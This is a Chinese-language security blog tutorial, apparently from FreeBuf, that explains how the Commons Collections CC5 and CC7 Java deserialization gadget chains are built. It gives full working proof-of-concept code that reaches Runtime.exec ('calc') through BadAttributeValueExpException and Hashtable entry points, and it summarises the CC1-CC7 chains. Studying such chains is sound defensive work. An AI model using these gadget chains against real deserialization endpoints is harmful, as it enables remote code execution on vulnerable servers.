java安全:从发现者角度解析CC5和CC7链构造过程(完结)
文章详细介绍了Java反序列化漏洞中的CC链构造方法,包括CC5和CC7的实现细节及工作原理,并总结了CC1-CC7链的共同点和差异性。 2025-4-29 08:0:42 Author: www.freebuf.com(查看原文) 阅读量:8 收藏

freeBuf

主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

手写CC5和CC7

1、CC5构造

CC5和Lazymap的CC1非常相似,就是入口点改了,改为了LazyMapentry

image.png

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.keyvalue.TiedMapEntry;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class CC5Test {
public static void main(String[] args) throws Exception {
final ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
});

final HashMap<Object, Object> map = new HashMap<>();
map.put("value","xxx");
final Map lazymap = LazyMap.decorate(map,  chainedTransformer);

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"yuji");

BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);

//Reflection
Class clazz = Class.forName("javax.management.BadAttributeValueExpException");
Field field = clazz.getDeclaredField("val");
field.setAccessible(true);
field.set(badAttributeValueExpException,tiedMapEntry);

serializable(badAttributeValueExpException);
derializable();

}
public static void serializable(Object o) throws IOException {
final ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("CC5.ser"));
objectOutputStream.writeObject(o);
}
public static Object derializable() throws IOException, ClassNotFoundException {
final ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("CC5.ser"));
return objectInputStream.readObject();
}
}

2、CC7链构造

CC7的入口点变为了hashtables。我们从lazymap.get倒推,找到public方法:

image.png

倒推找到AbstractMapDecorator,调用了map.equals

image.png

最终找到了hashtable的equals方法

image.png

所以我们的关键就是触发reconstitutionPut,我们发现readObject调用了reconstitutionPut方法,所以就是在LazyMap CC1链基础上,改一下source部分即可(进入部分)。构造思路如下:

1、既然要调用reconstitutionPut方法,我们需要new一个hashtable对象,然后反序列化table过程中,触发reconstitutionPut。

2、我们的目标是要触发reconstitutionPut里的key.equals方法,所以要往hashtable里面放入至少两个lazymap

image.png

3、所以我们这里创建2个lazymap,2个lazymap里面map随意,后面的transformer里面放入cc1的chainedTransformer

最终完整代码如下:

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections4.comparators.TransformingComparator;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
import java.util.PriorityQueue;

public class CC7Test {
public static void main(String[] args)throws Exception {

final HashMap<Object, Object> map1 = new HashMap<>();
final HashMap<Object, Object> map2 = new HashMap<>();
map1.put("key1", "value1");
map2.put("key2", "value2");
final ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new org.apache.commons.collections.functors.InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new org.apache.commons.collections.functors.InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
});
final Map lazymap1 = LazyMap.decorate(map1,  chainedTransformer);
final Map lazymap2 = LazyMap.decorate(map2,  chainedTransformer);
Hashtable table = new Hashtable();
table.put(lazymap1,1);
table.put(lazymap2,1);
serializable(table);
derializable();
}
public static void serializable(Object o) throws IOException {
final ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("CC7.ser"));
objectOutputStream.writeObject(o);
}
public static Object derializable() throws IOException, ClassNotFoundException {
final ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("CC7.ser"));
return objectInputStream.readObject();
}
}

3、CC链构造总结

javaCC链CC1-CC7的sink就是两个:

1、invokeTransformer.transform (反射原理)

2、defineClass——> newInstance(java类动态加载,通过加载恶意class文件,达到命令执行)

CC1-CC7有的gadget链中很多地方都是重复的,最终画了一个流程图

image.png

CC1-CC7链的每一个部分都是互相关联的。所以只要搞懂CC1链和CC3链这两个拥有不同sink的链,其他链无非就是在这两个基础上微调source方式。

免责声明

1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。

2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。

3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。

已在FreeBuf发表 0 篇文章

本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)


文章来源: https://www.freebuf.com/articles/web/429198.html
如有侵权请联系:admin#unsafe.sh